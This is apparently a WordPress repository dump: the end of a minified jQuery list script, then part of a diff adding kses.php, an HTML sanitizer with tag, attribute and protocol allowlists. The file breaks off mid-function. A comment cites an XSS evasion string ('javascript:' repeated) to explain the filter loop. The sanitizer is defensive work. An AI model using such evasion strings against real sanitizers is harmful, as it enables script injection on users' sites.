j=this,d=c.parseClass(k,"dim"),g,l,f,i;h=c.pre.call(j,k,h,"dim");h.element=d[2]||h.element||null;h.dimClass=d[3]||h.dimClass||null;if(d[4]){h.dimAddColor="#"+d[4]}else{h.dimAddColor=h.dimAddColor||"#FFFF33"}if(d[5]){h.dimDelColor="#"+d[5]}else{h.dimDelColor=h.dimDelColor||"#FF3333"}if(!h||!h.element||!h.dimClass){return true}h.action="dim-"+h.what;h.nonce=c.nonce(k,h);h.data=b.extend({action:h.action,id:h.element.split("-").pop(),dimClass:h.dimClass,_ajax_nonce:h.nonce},wpAjax.unserialize(d[6]||""));if(b.isFunction(h.dimBefore)){h=h.dimBefore(h);if(!h){return true}}g=b("#"+h.element);l=g.toggleClass(h.dimClass).is("."+h.dimClass);f=c.getColor(g);g.toggleClass(h.dimClass);i=l?h.dimAddColor:h.dimDelColor;if("none"!=i){g.animate({backgroundColor:i},"fast").queue(function(){g.toggleClass(h.dimClass);b(this).dequeue()}).animate({backgroundColor:f},{complete:function(){b(this).css("backgroundColor","")}})}if(!h.data._ajax_nonce){return true}h.success=function(m){var e=wpAjax.parseAjaxResponse(m,h.response,h.element),n;if(!e||e.errors){g.stop().stop().css("backgroundColor","#FF3333")[l?"removeClass":"addClass"](h.dimClass).show().queue(function(){j.wpList.recolor();b(this).dequeue()});return false}if(b.isFunction(h.dimAfter)){n=this.complete;this.complete=function(o,p){g.queue(function(){var q=b.extend({xml:o,status:p,parsed:e},h);h.dimAfter(m,q);if(b.isFunction(n)){n(o,p)}}).dequeue()}}};b.ajax(h);return false},getColor:function(e){if(e.constructor==Object){e=e.get(0)}var f=e,d,g=new RegExp("rgba\\(\\s*0,\\s*0,\\s*0,\\s*0\\s*\\)","i");do{d=jQuery.curCSS(f,"backgroundColor");if(d!=""&&d!="transparent"&&!d.match(g)||jQuery.nodeName(f,"body")){break}}while(f=f.parentNode);return d||"#ffffff"},add:function(k,g){k=b(k);var i=b(this),d=false,j={pos:0,id:0,oldId:null},l,h,f;if("string"==typeof g){g={what:g}}g=b.extend(j,this.wpList.settings,g);if(!k.size()||!g.what){return false}if(g.oldId){d=b("#"+g.what+"-"+g.oldId)}if(g.id&&(g.id!=g.oldId||!d||!d.size())){b("#"+g.what+"-"+g.id).remove()}if(d&&d.size()){d.before(k);d.remove()}else{if(isNaN(g.pos)){l="after";if("-"==g.pos.substr(0,1)){g.pos=g.pos.substr(1);l="before"}h=i.find("#"+g.pos);if(1===h.size()){h[l](k)}else{i.append(k)}}else{if(g.pos<0){i.prepend(k)}else{i.append(k)}}}if(g.alt){if((i.children(":visible").index(k[0])+g.altOffset)%2){k.removeClass(g.alt)}else{k.addClass(g.alt)}}if("none"!=g.addColor){f=c.getColor(k);k.css("backgroundColor",g.addColor).animate({backgroundColor:f},{complete:function(){b(this).css("backgroundColor","")}})}i.each(function(){this.wpList.process(k)});return k},clear:function(h){var g=this,f,d;h=b(h);if(g.wpList&&h.parents("#"+g.id).size()){return}h.find(":input").each(function(){if(b(this).parents(".form-no-clear").size()){return}f=this.type.toLowerCase();d=this.tagName.toLowerCase();if("text"==f||"password"==f||"textarea"==d){this.value=""}else{if("checkbox"==f||"radio"==f){this.checked=false}else{if("select"==d){this.selectedIndex=null}}}})},process:function(d){var e=this;b("[class^=add:"+e.id+":]",d||null).filter("form").submit(function(){return e.wpList.add(this)}).end().not("form").click(function(){return e.wpList.add(this)});b("[class^=delete:"+e.id+":]",d||null).click(function(){return e.wpList.del(this)});b("[class^=dim:"+e.id+":]",d||null).click(function(){return e.wpList.dim(this)})},recolor:function(){var f=this,e,d;if(!f.wpList.settings.alt){return}e=b(".list-item:visible",f);if(!e.size()){e=b(f).children(":visible")}d=[":even",":odd"];if(f.wpList.settings.altOffset%2){d.reverse()}e.filter(d[0]).addClass(f.wpList.settings.alt).end().filter(d[1]).removeClass(f.wpList.settings.alt)},init:function(){var d=this;d.wpList.process=function(e){d.each(function(){this.wpList.process(e)})};d.wpList.recolor=function(){d.each(function(){this.wpList.recolor()})}}};b.fn.wpList=function(d){this.each(function(){var e=this;this.wpList={settings:b.extend({},c.settings,{what:c.parseClass(this,"list")[1]||""},d)};b.each(a,function(g,h){e.wpList[g]=function(i,f){return c[h].call(e,i,f)}})});c.init.call(this);this.wpList.process();return this}})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/kses.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/kses.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/kses.php	(revision 44)
@@ -0,0 +1,1195 @@
+<?php
+/**
+ * HTML/XHTML filter that only allows some elements and attributes
+ *
+ * Added wp_ prefix to avoid conflicts with existing kses users
+ *
+ * @version 0.2.2
+ * @copyright (C) 2002, 2003, 2005
+ * @author Ulf Harnhammar <metaur@users.sourceforge.net>
+ *
+ * @package External
+ * @subpackage KSES
+ *
+ * @internal
+ * *** CONTACT INFORMATION ***
+ * E-mail:      metaur at users dot sourceforge dot net
+ * Web page:    http://sourceforge.net/projects/kses
+ * Paper mail:  Ulf Harnhammar
+ *              Ymergatan 17 C
+ *              753 25  Uppsala
+ *              SWEDEN
+ *
+ * [kses strips evil scripts!]
+ */
+
+/**
+ * You can override this in your my-hacks.php file You can also override this
+ * in a plugin file. The my-hacks.php is deprecated in its usage.
+ *
+ * @since 1.2.0
+ */
+if (!defined('CUSTOM_TAGS'))
+	define('CUSTOM_TAGS', false);
+
+if (!CUSTOM_TAGS) {
+	/**
+	 * Kses global for default allowable HTML tags.
+	 *
+	 * Can be override by using CUSTOM_TAGS constant.
+	 *
+	 * @global array $allowedposttags
+	 * @since 2.0.0
+	 */
+	$allowedposttags = array(
+		'address' => array(),
+		'a' => array(
+			'class' => array (),
+			'href' => array (),
+			'id' => array (),
+			'title' => array (),
+			'rel' => array (),
+			'rev' => array (),
+			'name' => array (),
+			'target' => array()),
+		'abbr' => array(
+			'class' => array (),
+			'title' => array ()),
+		'acronym' => array(
+			'title' => array ()),
+		'b' => array(),
+		'big' => array(),
+		'blockquote' => array(
+			'id' => array (),
+			'cite' => array (),
+			'class' => array(),
+			'lang' => array(),
+			'xml:lang' => array()),
+		'br' => array (
+			'class' => array ()),
+		'button' => array(
+			'disabled' => array (),
+			'name' => array (),
+			'type' => array (),
+			'value' => array ()),
+		'caption' => array(
+			'align' => array (),
+			'class' => array ()),
+		'cite' => array (
+			'class' => array(),
+			'dir' => array(),
+			'lang' => array(),
+			'title' => array ()),
+		'code' => array (
+			'style' => array()),
+		'col' => array(
+			'align' => array (),
+			'char' => array (),
+			'charoff' => array (),
+			'span' => array (),
+			'dir' => array(),
+			'style' => array (),
+			'valign' => array (),
+			'width' => array ()),
+		'del' => array(
+			'datetime' => array ()),
+		'dd' => array(),
+		'div' => array(
+			'align' => array (),
+			'class' => array (),
+			'dir' => array (),
+			'lang' => array(),
+			'style' => array (),
+			'xml:lang' => array()),
+		'dl' => array(),
+		'dt' => array(),
+		'em' => array(),
+		'fieldset' => array(),
+		'font' => array(
+			'color' => array (),
+			'face' => array (),
+			'size' => array ()),
+		'form' => array(
+			'action' => array (),
+			'accept' => array (),
+			'accept-charset' => array (),
+			'enctype' => array (),
+			'method' => array (),
+			'name' => array (),
+			'target' => array ()),
+		'h1' => array(
+			'align' => array (),
+			'class' => array (),
+			'id'    => array (),
+			'style' => array ()),
+		'h2' => array (
+			'align' => array (),
+			'class' => array (),
+			'id'    => array (),
+			'style' => array ()),
+		'h3' => array (
+			'align' => array (),
+			'class' => array (),
+			'id'    => array (),
+			'style' => array ()),
+		'h4' => array (
+			'align' => array (),
+			'class' => array (),
+			'id'    => array (),
+			'style' => array ()),
+		'h5' => array (
+			'align' => array (),
+			'class' => array (),
+			'id'    => array (),
+			'style' => array ()),
+		'h6' => array (
+			'align' => array (),
+			'class' => array (),
+			'id'    => array (),
+			'style' => array ()),
+		'hr' => array (
+			'align' => array (),
+			'class' => array (),
+			'noshade' => array (),
+			'size' => array (),
+			'width' => array ()),
+		'i' => array(),
+		'img' => array(
+			'alt' => array (),
+			'align' => array (),
+			'border' => array (),
+			'class' => array (),
+			'height' => array (),
+			'hspace' => array (),
+			'longdesc' => array (),
+			'vspace' => array (),
+			'src' => array (),
+			'style' => array (),
+			'width' => array ()),
+		'ins' => array(
+			'datetime' => array (),
+			'cite' => array ()),
+		'kbd' => array(),
+		'label' => array(
+			'for' => array ()),
+		'legend' => array(
+			'align' => array ()),
+		'li' => array (
+			'align' => array (),
+			'class' => array ()),
+		'p' => array(
+			'class' => array (),
+			'align' => array (),
+			'dir' => array(),
+			'lang' => array(),
+			'style' => array (),
+			'xml:lang' => array()),
+		'pre' => array(
+			'style' => array(),
+			'width' => array ()),
+		'q' => array(
+			'cite' => array ()),
+		's' => array(),
+		'span' => array (
+			'class' => array (),
+			'dir' => array (),
+			'align' => array (),
+			'lang' => array (),
+			'style' => array (),
+			'title' => array (),
+			'xml:lang' => array()),
+		'strike' => array(),
+		'strong' => array(),
+		'sub' => array(),
+		'sup' => array(),
+		'table' => array(
+			'align' => array (),
+			'bgcolor' => array (),
+			'border' => array (),
+			'cellpadding' => array (),
+			'cellspacing' => array (),
+			'class' => array (),
+			'dir' => array(),
+			'id' => array(),
+			'rules' => array (),
+			'style' => array (),
+			'summary' => array (),
+			'width' => array ()),
+		'tbody' => array(
+			'align' => array (),
+			'char' => array (),
+			'charoff' => array (),
+			'valign' => array ()),
+		'td' => array(
+			'abbr' => array (),
+			'align' => array (),
+			'axis' => array (),
+			'bgcolor' => array (),
+			'char' => array (),
+			'charoff' => array (),
+			'class' => array (),
+			'colspan' => array (),
+			'dir' => array(),
+			'headers' => array (),
+			'height' => array (),
+			'nowrap' => array (),
+			'rowspan' => array (),
+			'scope' => array (),
+			'style' => array (),
+			'valign' => array (),
+			'width' => array ()),
+		'textarea' => array(
+			'cols' => array (),
+			'rows' => array (),
+			'disabled' => array (),
+			'name' => array (),
+			'readonly' => array ()),
+		'tfoot' => array(
+			'align' => array (),
+			'char' => array (),
+			'class' => array (),
+			'charoff' => array (),
+			'valign' => array ()),
+		'th' => array(
+			'abbr' => array (),
+			'align' => array (),
+			'axis' => array (),
+			'bgcolor' => array (),
+			'char' => array (),
+			'charoff' => array (),
+			'class' => array (),
+			'colspan' => array (),
+			'headers' => array (),
+			'height' => array (),
+			'nowrap' => array (),
+			'rowspan' => array (),
+			'scope' => array (),
+			'valign' => array (),
+			'width' => array ()),
+		'thead' => array(
+			'align' => array (),
+			'char' => array (),
+			'charoff' => array (),
+			'class' => array (),
+			'valign' => array ()),
+		'title' => array(),
+		'tr' => array(
+			'align' => array (),
+			'bgcolor' => array (),
+			'char' => array (),
+			'charoff' => array (),
+			'class' => array (),
+			'style' => array (),
+			'valign' => array ()),
+		'tt' => array(),
+		'u' => array(),
+		'ul' => array (
+			'class' => array (),
+			'style' => array (),
+			'type' => array ()),
+		'ol' => array (
+			'class' => array (),
+			'start' => array (),
+			'style' => array (),
+			'type' => array ()),
+		'var' => array ());
+
+	/**
+	 * Kses allowed HTML elements.
+	 *
+	 * @global array $allowedtags
+	 * @since 1.0.0
+	 */
+	$allowedtags = array(
+		'a' => array(
+			'href' => array (),
+			'title' => array ()),
+		'abbr' => array(
+			'title' => array ()),
+		'acronym' => array(
+			'title' => array ()),
+		'b' => array(),
+		'blockquote' => array(
+			'cite' => array ()),
+		//	'br' => array(),
+		'cite' => array (),
+		'code' => array(),
+		'del' => array(
+			'datetime' => array ()),
+		//	'dd' => array(),
+		//	'dl' => array(),
+		//	'dt' => array(),
+		'em' => array (), 'i' => array (),
+		//	'ins' => array('datetime' => array(), 'cite' => array()),
+		//	'li' => array(),
+		//	'ol' => array(),
+		//	'p' => array(),
+		'q' => array(
+			'cite' => array ()),
+		'strike' => array(),
+		'strong' => array(),
+		//	'sub' => array(),
+		//	'sup' => array(),
+		//	'u' => array(),
+		//	'ul' => array(),
+	);
+}
+
+/**
+ * Filters content and keeps only allowable HTML elements.
+ *
+ * This function makes sure that only the allowed HTML element names, attribute
+ * names and attribute values plus only sane HTML entities will occur in
+ * $string. You have to remove any slashes from PHP's magic quotes before you
+ * call this function.
+ *
+ * The default allowed protocols are 'http', 'https', 'ftp', 'mailto', 'news',
+ * 'irc', 'gopher', 'nntp', 'feed', and finally 'telnet. This covers all common
+ * link protocols, except for 'javascript' which should not be allowed for
+ * untrusted users.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string Content to filter through kses
+ * @param array $allowed_html List of allowed HTML elements
+ * @param array $allowed_protocols Optional. Allowed protocol in links.
+ * @return string Filtered content with only allowed HTML elements
+ */
+function wp_kses($string, $allowed_html, $allowed_protocols = array ('http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet')) {
+	$string = wp_kses_no_null($string);
+	$string = wp_kses_js_entities($string);
+	$string = wp_kses_normalize_entities($string);
+	$allowed_html_fixed = wp_kses_array_lc($allowed_html);
+	$string = wp_kses_hook($string, $allowed_html_fixed, $allowed_protocols); // WP changed the order of these funcs and added args to wp_kses_hook
+	return wp_kses_split($string, $allowed_html_fixed, $allowed_protocols);
+}
+
+/**
+ * You add any kses hooks here.
+ *
+ * There is currently only one kses WordPress hook and it is called here. All
+ * parameters are passed to the hooks and expected to recieve a string.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string Content to filter through kses
+ * @param array $allowed_html List of allowed HTML elements
+ * @param array $allowed_protocols Allowed protocol in links
+ * @return string Filtered content through 'pre_kses' hook
+ */
+function wp_kses_hook($string, $allowed_html, $allowed_protocols) {
+	$string = apply_filters('pre_kses', $string, $allowed_html, $allowed_protocols);
+	return $string;
+}
+
+/**
+ * This function returns kses' version number.
+ *
+ * @since 1.0.0
+ *
+ * @return string KSES Version Number
+ */
+function wp_kses_version() {
+	return '0.2.2';
+}
+
+/**
+ * Searches for HTML tags, no matter how malformed.
+ *
+ * It also matches stray ">" characters.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string Content to filter
+ * @param array $allowed_html Allowed HTML elements
+ * @param array $allowed_protocols Allowed protocols to keep
+ * @return string Content with fixed HTML tags
+ */
+function wp_kses_split($string, $allowed_html, $allowed_protocols) {
+	global $pass_allowed_html, $pass_allowed_protocols;
+	$pass_allowed_html = $allowed_html;
+	$pass_allowed_protocols = $allowed_protocols;
+	return preg_replace_callback('%((<!--.*?(-->|$))|(<[^>]*(>|$)|>))%',
+		create_function('$match', 'global $pass_allowed_html, $pass_allowed_protocols; return wp_kses_split2($match[1], $pass_allowed_html, $pass_allowed_protocols);'), $string);
+}
+
+/**
+ * Callback for wp_kses_split for fixing malformed HTML tags.
+ *
+ * This function does a lot of work. It rejects some very malformed things like
+ * <:::>. It returns an empty string, if the element isn't allowed (look ma, no
+ * strip_tags()!). Otherwise it splits the tag into an element and an attribute
+ * list.
+ *
+ * After the tag is split into an element and an attribute list, it is run
+ * through another filter which will remove illegal attributes and once that is
+ * completed, will be returned.
+ *
+ * @access private
+ * @since 1.0.0
+ * @uses wp_kses_attr()
+ *
+ * @param string $string Content to filter
+ * @param array $allowed_html Allowed HTML elements
+ * @param array $allowed_protocols Allowed protocols to keep
+ * @return string Fixed HTML element
+ */
+function wp_kses_split2($string, $allowed_html, $allowed_protocols) {
+	$string = wp_kses_stripslashes($string);
+
+	if (substr($string, 0, 1) != '<')
+		return '&gt;';
+	# It matched a ">" character
+
+	if (preg_match('%^<!--(.*?)(-->)?$%', $string, $matches)) {
+		$string = str_replace(array('<!--', '-->'), '', $matches[1]);
+		while ( $string != $newstring = wp_kses($string, $allowed_html, $allowed_protocols) )
+			$string = $newstring;
+		if ( $string == '' )
+			return '';
+		// prevent multiple dashes in comments
+		$string = preg_replace('/--+/', '-', $string);
+		// prevent three dashes closing a comment
+		$string = preg_replace('/-$/', '', $string);
+		return "<!--{$string}-->";
+	}
+	# Allow HTML comments
+
+	if (!preg_match('%^<\s*(/\s*)?([a-zA-Z0-9]+)([^>]*)>?$%', $string, $matches))
+		return '';
+	# It's seriously malformed
+
+	$slash = trim($matches[1]);
+	$elem = $matches[2];
+	$attrlist = $matches[3];
+
+	if (!@isset($allowed_html[strtolower($elem)]))
+		return '';
+	# They are using a not allowed HTML element
+
+	if ($slash != '')
+		return "<$slash$elem>";
+	# No attributes are allowed for closing elements
+
+	return wp_kses_attr("$slash$elem", $attrlist, $allowed_html, $allowed_protocols);
+}
+
+/**
+ * Removes all attributes, if none are allowed for this element.
+ *
+ * If some are allowed it calls wp_kses_hair() to split them further, and then
+ * it builds up new HTML code from the data that kses_hair() returns. It also
+ * removes "<" and ">" characters, if there are any left. One more thing it does
+ * is to check if the tag has a closing XHTML slash, and if it does, it puts one
+ * in the returned code as well.
+ *
+ * @since 1.0.0
+ *
+ * @param string $element HTML element/tag
+ * @param string $attr HTML attributes from HTML element to closing HTML element tag
+ * @param array $allowed_html Allowed HTML elements
+ * @param array $allowed_protocols Allowed protocols to keep
+ * @return string Sanitized HTML element
+ */
+function wp_kses_attr($element, $attr, $allowed_html, $allowed_protocols) {
+	# Is there a closing XHTML slash at the end of the attributes?
+
+	$xhtml_slash = '';
+	if (preg_match('%\s/\s*$%', $attr))
+		$xhtml_slash = ' /';
+
+	# Are any attributes allowed at all for this element?
+
+	if (@ count($allowed_html[strtolower($element)]) == 0)
+		return "<$element$xhtml_slash>";
+
+	# Split it
+
+	$attrarr = wp_kses_hair($attr, $allowed_protocols);
+
+	# Go through $attrarr, and save the allowed attributes for this element
+	# in $attr2
+
+	$attr2 = '';
+
+	foreach ($attrarr as $arreach) {
+		if (!@ isset ($allowed_html[strtolower($element)][strtolower($arreach['name'])]))
+			continue; # the attribute is not allowed
+
+		$current = $allowed_html[strtolower($element)][strtolower($arreach['name'])];
+		if ($current == '')
+			continue; # the attribute is not allowed
+
+		if (!is_array($current))
+			$attr2 .= ' '.$arreach['whole'];
+		# there are no checks
+
+		else {
+			# there are some checks
+			$ok = true;
+			foreach ($current as $currkey => $currval)
+				if (!wp_kses_check_attr_val($arreach['value'], $arreach['vless'], $currkey, $currval)) {
+					$ok = false;
+					break;
+				}
+
+			if ( $arreach['name'] == 'style' ) {
+				$orig_value = $arreach['value'];
+
+				$value = safecss_filter_attr($orig_value);
+
+				if ( empty($value) )
+					continue;
+
+				$arreach['value'] = $value;
+
+				$arreach['whole'] = str_replace($orig_value, $value, $arreach['whole']);
+			}
+
+			if ($ok)
+				$attr2 .= ' '.$arreach['whole']; # it passed them
+		} # if !is_array($current)
+	} # foreach
+
+	# Remove any "<" or ">" characters
+
+	$attr2 = preg_replace('/[<>]/', '', $attr2);
+
+	return "<$element$attr2$xhtml_slash>";
+}
+
+/**
+ * Builds an attribute list from string containing attributes.
+ *
+ * This function does a lot of work. It parses an attribute list into an array
+ * with attribute data, and tries to do the right thing even if it gets weird
+ * input. It will add quotes around attribute values that don't have any quotes
+ * or apostrophes around them, to make it easier to produce HTML code that will
+ * conform to W3C's HTML specification. It will also remove bad URL protocols
+ * from attribute values.  It also reduces duplicate attributes by using the
+ * attribute defined first (foo='bar' foo='baz' will result in foo='bar').
+ *
+ * @since 1.0.0
+ *
+ * @param string $attr Attribute list from HTML element to closing HTML element tag
+ * @param array $allowed_protocols Allowed protocols to keep
+ * @return array List of attributes after parsing
+ */
+function wp_kses_hair($attr, $allowed_protocols) {
+	$attrarr = array ();
+	$mode = 0;
+	$attrname = '';
+	$uris = array('xmlns', 'profile', 'href', 'src', 'cite', 'classid', 'codebase', 'data', 'usemap', 'longdesc', 'action');
+
+	# Loop through the whole attribute list
+
+	while (strlen($attr) != 0) {
+		$working = 0; # Was the last operation successful?
+
+		switch ($mode) {
+			case 0 : # attribute name, href for instance
+
+				if (preg_match('/^([-a-zA-Z]+)/', $attr, $match)) {
+					$attrname = $match[1];
+					$working = $mode = 1;
+					$attr = preg_replace('/^[-a-zA-Z]+/', '', $attr);
+				}
+
+				break;
+
+			case 1 : # equals sign or valueless ("selected")
+
+				if (preg_match('/^\s*=\s*/', $attr)) # equals sign
+					{
+					$working = 1;
+					$mode = 2;
+					$attr = preg_replace('/^\s*=\s*/', '', $attr);
+					break;
+				}
+
+				if (preg_match('/^\s+/', $attr)) # valueless
+					{
+					$working = 1;
+					$mode = 0;
+					if(FALSE === array_key_exists($attrname, $attrarr)) {
+						$attrarr[$attrname] = array ('name' => $attrname, 'value' => '', 'whole' => $attrname, 'vless' => 'y');
+					}
+					$attr = preg_replace('/^\s+/', '', $attr);
+				}
+
+				break;
+
+			case 2 : # attribute value, a URL after href= for instance
+
+				if (preg_match('/^"([^"]*)"(\s+|$)/', $attr, $match))
+					# "value"
+					{
+					$thisval = $match[1];
+					if ( in_array($attrname, $uris) )
+						$thisval = wp_kses_bad_protocol($thisval, $allowed_protocols);
+
+					if(FALSE === array_key_exists($attrname, $attrarr)) {
+						$attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname=\"$thisval\"", 'vless' => 'n');
+					}
+					$working = 1;
+					$mode = 0;
+					$attr = preg_replace('/^"[^"]*"(\s+|$)/', '', $attr);
+					break;
+				}
+
+				if (preg_match("/^'([^']*)'(\s+|$)/", $attr, $match))
+					# 'value'
+					{
+					$thisval = $match[1];
+					if ( in_array($attrname, $uris) )
+						$thisval = wp_kses_bad_protocol($thisval, $allowed_protocols);
+
+					if(FALSE === array_key_exists($attrname, $attrarr)) {
+						$attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname='$thisval'", 'vless' => 'n');
+					}
+					$working = 1;
+					$mode = 0;
+					$attr = preg_replace("/^'[^']*'(\s+|$)/", '', $attr);
+					break;
+				}
+
+				if (preg_match("%^([^\s\"']+)(\s+|$)%", $attr, $match))
+					# value
+					{
+					$thisval = $match[1];
+					if ( in_array($attrname, $uris) )
+						$thisval = wp_kses_bad_protocol($thisval, $allowed_protocols);
+
+					if(FALSE === array_key_exists($attrname, $attrarr)) {
+						$attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname=\"$thisval\"", 'vless' => 'n');
+					}
+					# We add quotes to conform to W3C's HTML spec.
+					$working = 1;
+					$mode = 0;
+					$attr = preg_replace("%^[^\s\"']+(\s+|$)%", '', $attr);
+				}
+
+				break;
+		} # switch
+
+		if ($working == 0) # not well formed, remove and try again
+		{
+			$attr = wp_kses_html_error($attr);
+			$mode = 0;
+		}
+	} # while
+
+	if ($mode == 1 && FALSE === array_key_exists($attrname, $attrarr))
+		# special case, for when the attribute list ends with a valueless
+		# attribute like "selected"
+		$attrarr[$attrname] = array ('name' => $attrname, 'value' => '', 'whole' => $attrname, 'vless' => 'y');
+
+	return $attrarr;
+}
+
+/**
+ * Performs different checks for attribute values.
+ *
+ * The currently implemented checks are "maxlen", "minlen", "maxval", "minval"
+ * and "valueless" with even more checks to come soon.
+ *
+ * @since 1.0.0
+ *
+ * @param string $value Attribute value
+ * @param string $vless Whether the value is valueless or not. Use 'y' or 'n'
+ * @param string $checkname What $checkvalue is checking for.
+ * @param mixed $checkvalue What constraint the value should pass
+ * @return bool Whether check passes (true) or not (false)
+ */
+function wp_kses_check_attr_val($value, $vless, $checkname, $checkvalue) {
+	$ok = true;
+
+	switch (strtolower($checkname)) {
+		case 'maxlen' :
+			# The maxlen check makes sure that the attribute value has a length not
+			# greater than the given value. This can be used to avoid Buffer Overflows
+			# in WWW clients and various Internet servers.
+
+			if (strlen($value) > $checkvalue)
+				$ok = false;
+			break;
+
+		case 'minlen' :
+			# The minlen check makes sure that the attribute value has a length not
+			# smaller than the given value.
+
+			if (strlen($value) < $checkvalue)
+				$ok = false;
+			break;
+
+		case 'maxval' :
+			# The maxval check does two things: it checks that the attribute value is
+			# an integer from 0 and up, without an excessive amount of zeroes or
+			# whitespace (to avoid Buffer Overflows). It also checks that the attribute
+			# value is not greater than the given value.
+			# This check can be used to avoid Denial of Service attacks.
+
+			if (!preg_match('/^\s{0,6}[0-9]{1,6}\s{0,6}$/', $value))
+				$ok = false;
+			if ($value > $checkvalue)
+				$ok = false;
+			break;
+
+		case 'minval' :
+			# The minval check checks that the attribute value is a positive integer,
+			# and that it is not smaller than the given value.
+
+			if (!preg_match('/^\s{0,6}[0-9]{1,6}\s{0,6}$/', $value))
+				$ok = false;
+			if ($value < $checkvalue)
+				$ok = false;
+			break;
+
+		case 'valueless' :
+			# The valueless check checks if the attribute has a value
+			# (like <a href="blah">) or not (<option selected>). If the given value
+			# is a "y" or a "Y", the attribute must not have a value.
+			# If the given value is an "n" or an "N", the attribute must have one.
+
+			if (strtolower($checkvalue) != $vless)
+				$ok = false;
+			break;
+	} # switch
+
+	return $ok;
+}
+
+/**
+ * Sanitize string from bad protocols.
+ *
+ * This function removes all non-allowed protocols from the beginning of
+ * $string. It ignores whitespace and the case of the letters, and it does
+ * understand HTML entities. It does its work in a while loop, so it won't be
+ * fooled by a string like "javascript:javascript:alert(57)".
+ *
+ * @since 1.0.0
+ *
+ * @param string $string Content to filter bad protocols from
+ * @param array $allowed_protocols Allowed protocols to keep
+ * @return string Filtered content
+ */
+function wp_kses_bad_protocol($string, $allowed_protocols) {
+	$string = wp_kses_no_null($string);
+	$string = preg_replace('/\xad+/', '', $string); # deals with Opera "feature"
+	$string2 = $string.'a';
+
+	while ($string != $string2) {
+		$string2 = $string;
+		$string = wp_kses_bad_protocol_once($string, $allowed_protocols);
+	} # while
+
+	return $string;
+}
+
+/**
+ * Removes any NULL characters in $string.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string
+ * @return string
+ */
+function wp_kses_no_null($string) {
+	$string = preg_replace('/\0+/', '', $string);
+	$string = preg_replace('/(\\\\0)+/', '', $string);
+
+	return $string;
+}
+
+/**
+ * Strips slashes from in front of quotes.
+ *
+ * This function changes the character sequence  \"  to just  ". It leaves all
+ * other slashes alone. It's really weird, but the quoting from
+ * preg_replace(//e) seems to require this.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string String to strip slashes
+ * @return string Fixed strings with quoted slashes
+ */
+function wp_kses_stripslashes($string) {
+	return preg_replace('%\\\\"%', '"', $string);
+}
+
+/**
+ * Goes through an array and changes the keys to all lower case.
+ *
+ * @since 1.0.0
+ *
+ * @param array $inarray Unfiltered array
+ * @return array Fixed array with all lowercase keys
+ */
+function wp_kses_array_lc($inarray) {
+	$outarray = array ();
+
+	foreach ( (array) $inarray as $inkey => $inval) {
+		$outkey = strtolower($inkey);
+		$outarray[$outkey] = array ();
+
+		foreach ( (array) $inval as $inkey2 => $inval2) {
+			$outkey2 = strtolower($inkey2);
+			$outarray[$outkey][$outkey2] = $inval2;
+		} # foreach $inval
+	} # foreach $inarray
+
+	return $outarray;
+}
+
+/**
+ * Removes the HTML JavaScript entities found in early versions of Netscape 4.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string
+ * @return string
+ */
+function wp_kses_js_entities($string) {
+	return preg_replace('%&\s*\{[^}]*(\}\s*;?|$)%', '', $string);
+}
+
+/**
+ * Handles parsing errors in wp_kses_hair().
+ *
+ * The general plan is to remove everything to and including some whitespace,
+ * but it deals with quotes and apostrophes as well.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string
+ * @return string
+ */
+function wp_kses_html_error($string) {
+	return preg_replace('/^("[^"]*("|$)|\'[^\']*(\'|$)|\S)*\s*/', '', $string);
+}
+
+/**
+ * Sanitizes content from bad protocols and other characters.
+ *
+ * This function searches for URL protocols at the beginning of $string, while
+ * handling whitespace and HTML entities.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string Content to check for bad protocols
+ * @param string $allowed_protocols Allowed protocols
+ * @return string Sanitized content
+ */
+function wp_kses_bad_protocol_once($string, $allowed_protocols) {
+	global $_kses_allowed_protocols;
+	$_kses_allowed_protocols = $allowed_protocols;
+
+	$string2 = preg_split('/:|&#58;|&#x3a;/i', $string, 2);
+	if ( isset($string2[1]) && !preg_match('%/\?%', $string2[0]) )
+		$string = wp_kses_bad_protocol_once2($string2[0]) . trim($string2[1]);
+	else
+		$string = preg_replace_callback('/^((&[^;]*;|[\sA-Za-z0-9])*)'.'(:|&#58;|&#[Xx]3[Aa];)\s*/', 'wp_kses_bad_protocol_once2', $string);
+
+	return $string;
+}
+
+/**
+ * Callback for wp_kses_bad_protocol_once() regular expression.
+ *
+ * This function processes URL protocols, checks to see if they're in the
+ * white-list or not, and returns different data depending on the answer.
+ *
+ * @access private
+ * @since 1.0.0
+ *
+ * @param mixed $matches string or preg_replace_callback() matches array to check for bad protocols
+ * @return string Sanitized content
+ */
+function wp_kses_bad_protocol_once2($matches) {
+	global $_kses_allowed_protocols;
+
+	if ( is_array($matches) ) {
+		if ( ! isset($matches[1]) || empty($matches[1]) )
+			return '';
+
+		$string = $matches[1];
+	} else {
+		$string = $matches;
+	}
+
+	$string2 = wp_kses_decode_entities($string);
+	$string2 = preg_replace('/\s/', '', $string2);
+	$string2 = wp_kses_no_null($string2);
+	$string2 = preg_replace('/\xad+/', '', $string2);
+	# deals with Opera "feature"
+	$string2 = strtolower($string2);
+
+	$allowed = false;
+	foreach ( (array) $_kses_allowed_protocols as $one_protocol)
+		if (strtolower($one_protocol) == $string2) {
+			$allowed = true;
+			break;
+		}
+
+	if ($allowed)
+		return "$string2:";
+	else
+		return '';
+}
+
+/**
+ * Converts and fixes HTML entities.
+ *
+ * This function normalizes HTML entities. It will convert "AT&T" to the correct
+ * "AT&amp;T", "&#00058;" to "&#58;", "&#XYZZY;" to "&amp;#XYZZY;" and so on.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string Content to normalize entities
+ * @return string Content with normalized entities
+ */
+function wp_kses_normalize_entities($string) {
+	# Disarm all entities by converting & to &amp;
+
+	$string = str_replace('&', '&amp;', $string);
+
